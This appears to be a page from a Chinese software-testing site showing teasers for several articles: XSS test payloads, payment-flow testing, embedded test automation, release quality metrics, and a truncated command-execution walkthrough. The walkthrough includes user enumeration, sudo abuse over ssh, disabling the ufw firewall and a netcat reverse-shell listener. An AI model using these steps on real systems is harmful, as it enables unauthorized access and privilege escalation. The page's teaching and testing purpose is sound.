分享

热门文章

    最新讲堂

      • 推荐阅读
      • 换一换
          •  最常见的XSS检测代码:<script>alert(1)</script> // 调用JavaScript语句 <img src=x onerror=alert(1)> // src是错误的 就会调用error函数 <a href=javascript:alert(1)> // 点击a即可触发  实际应用中web程序往往会通过一些过滤规则来防止代有恶意代码的用户输入被显示。当上述代码被注入到输入框或者URL参数中时,可能会成功也可能会失败,如果失...
            0 0 701
            分享
          •   以支付宝支付流程为例:  支付宝和微信的支付流程说明:  支付功能一般涉及:  下单接口:调取下单  支付接口:调取第三方支付  回调接口:反馈订单号,用户信息,订单状态。  一、功能性测试  1.订单支付超时(15分钟内支付)  2.取消支付(支付)。  这里我在网上找了一张图,挺全的:  二、兼容性测试  网络切换测试(4G/5G/wifi)  不同端的兼容性测试(Android/iOS不同设备,不同Web浏览器)。  不同客户端版本兼容(覆盖安装、升级安装、卸载安装)  三、安全性测试  支付金额和扣款金额是否一致。  修改接口数据,比如修改支付金额,不允许抓包,或者数据是加密的无法...
            0 0 1158
            分享
          • 引言进入二十一世纪之后,硬件元器件得到了飞速发展,从而也是的嵌入式软件的功能更加强大和复杂.随之而来的也是嵌入式软件测试工作的加重,传统的软件测试技术已经难以满足嵌入式软件越来越复杂的需求.而目前,市场上已经有较多的传统软件自动化测试技术,如何在这些技术的基础上进行改进,从而能够适应嵌入式软件环境,从而实现嵌入式软件的自动化测试,是嵌入式软件发展的重要方向.1.嵌入式软件自动化测试平台分析嵌入式软件的自动化测试即利用脚本来自动化驱动嵌入式软件的运行,并且自动收集相关数据进行分析,最终生成相应的测试报告.虽然,嵌入式软件的自动化测试流程与一般PC机应用软件的自动化测试流程相同。但是,由于嵌入式软...
            0 0 2540
            分享
          • 一、项目上线质量指标你认为用什么质量指标可以反映项目上线的一个质量?你可能会想那不是有很多质量指标么?多数和BUG相关,例如BUG数量、重新打开BUG数、BUG解决时长等等,好像都能体现上线质量啊。可仔细想想,我们衡量上线质量,不能只看这些,质量不应该简简单单的关联上BUG就可以了。二、研发过程质量既然不能只看结果,那我们就从源头开始看起。首先是需求质量,想要最终的上线质量高,那么源头的需求质量就不能太低,否则后续的研发工作做的再优秀,也不算好,很有可能一开始就跑偏了。我们需要在需求评审的阶段,从用户使用场景的角度出发,通过提问,把需求逐步澄清,并形成验收条件(可以用思维导图的形式记录下来),...
            0 0 2105
            分享
          • 命令执行漏洞一般查看home目录,挖掘用户信息:ls -alh /home查看具体用户的目录:ls -alh /home/用户名/查看系统信息:uname -a利用ssh命令执行root权限命令使用ssh 用户名@localhost通过ssh登录服务器是不需要身份验证的;比如查看bill用户sudo命令的权限:ssh bill@localhost sudo -lubuntu自带防火墙,所以关闭防火墙方便后面的操作。ssh bill@localhost sudo ufw disable反弹shell攻击机启动监听netcatnc -nlvp&nb...
            14 14 2944
            分享
      • 51testing软件测试圈微信